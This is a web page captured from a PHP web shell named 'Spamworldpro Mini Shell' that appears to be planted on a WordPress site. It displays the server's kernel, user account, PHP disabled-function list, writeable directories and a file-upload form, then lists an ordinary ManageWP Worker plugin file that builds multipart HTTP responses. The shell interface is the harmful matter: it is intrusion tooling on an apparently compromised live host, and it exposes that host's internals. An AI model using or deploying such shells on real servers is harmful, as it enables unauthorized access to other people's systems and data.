Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux pod-100823:apache2_74:v0.5.7 5.4.0-1138-gcp #147~18.04.1-Ubuntu SMP Mon Oct 7 21:46:26 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33.7
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
Directory :  /nas/content/live/attorneyexperi/wp-content/plugins/ugslot/MWP/Http/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /nas/content/live/attorneyexperi/wp-content/plugins/ugslot/MWP/Http/MultipartResponse.php
<?php
/*
 * This file is part of the ManageWP Worker plugin.
 *
 * (c) ManageWP LLC <contact@managewp.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Constructs a Multipart response into string or stream.
 */
class MWP_Http_MultipartResponse extends MWP_Http_Response implements MWP_Http_StreamingResponseInterface
{

    /** @var string Multipart boundary */
    private $boundary = '';

    public function __construct($parts, $boundary = null, $statusCode = 200, array $headers = array())
    {
        if ($boundary === null) {
            $boundary = uniqid();
        }

        $this->boundary          = $boundary;
        $headers["content-type"] = "multipart/mixed; boundary=".$this->boundary;

        if (!isset($headers["content-transfer-encoding"])) {
            $headers["content-transfer-encoding"] = "binary";
        }

        parent::__construct($parts, $statusCode, $headers);
    }

    /**
     * {@inheritdoc}
     */
    public function getContentAsString()
    {
        /** @var MWP_Http_MultipartResponsePart[] $parts */
        $parts = $this->content;

        // Multipart header
        $output = "\r\n".$this->getMultipartBoundary()."\r\n";

        foreach ($parts as $part) {
            $output .= $this->createPartResponse($part).$this->getMultipartBoundary();
        }

        // End multipart boundary
        $output .= '--';

        return $output;
    }

    /**
     * @return MWP_Stream_Interface
     */
    public function createResponseStream()
    {
        /** @var MWP_Http_MultipartResponsePart[] $parts */
        $parts  = $this->content;
        $stream = new MWP_Stream_Append();

        $stream->addStream(MWP_Stream_Stream::factory("\r\n".$this->getMultipartBoundary()));

        foreach ($parts as $part) {
            $stream->addStream(MWP_Stream_Stream::factory("\r\n"));
            $stream->addStream($this->createPartStream($part));
            $stream->addStream(MWP_Stream_Stream::factory("\r\n".$this->getMultipartBoundary()));
        }

        $stream->addStream(MWP_Stream_Stream::factory("--"));

        return $stream;
    }

    /**
     * @return string
     */
    public function getBoundary()
    {
        return $this->boundary;
    }

    private function createPartResponse(MWP_Http_MultipartResponsePart $part)
    {
        $response = '';

        foreach ($part->getHeaders() as $header => $value) {
            if (strcasecmp("content-location", $header) === 0) {
                // Content-Location can contain special characters (like \r\n for example)
                $value = urlencode($value);
            }
            $response .= sprintf("%s: %s\r\n", strtolower($header), $value);
        }

        $response .= sprintf("\r\n%s\r\n", (string) $part->getBody());

        return $response;
    }

    private function createPartStream(MWP_Http_MultipartResponsePart $part)
    {
        $stream = new MWP_Stream_Append();

        foreach ($part->getHeaders() as $header => $value) {
            if (strcasecmp("content-location", $header) === 0) {
                // Content-Location can contain special characters (like \r\n for example)
                $value = urlencode($value);
            }
            $stream->addStream(MWP_Stream_Stream::factory(sprintf("%s: %s\r\n", strtolower($header), $value)));
        }

        $body = $part->getBody();

        // Manually output content-transfer-encoding header
        $stream->addStream(MWP_Stream_Stream::factory(sprintf("content-transfer-encoding: %s\r\n", $part->getEncoding())));

        switch ($part->getEncoding()) {
            case 'binary':
                // No action required
                break;
            case 'base64':
                $body = new MWP_Stream_Base64EncodedStream($body);
                break;
            default:
                throw new MWP_Worker_Exception(MWP_Worker_Exception::GENERAL_ERROR, 'Encoding %s not supported.');
        }

        $stream->addStream(MWP_Stream_Stream::factory("\r\n"));
        $stream->addStream($body);

        return $stream;
    }

    /**
     * @return string
     */
    private function getMultipartBoundary()
    {
        return sprintf("--%s", $this->boundary);
    }
}

Spamworldpro Mini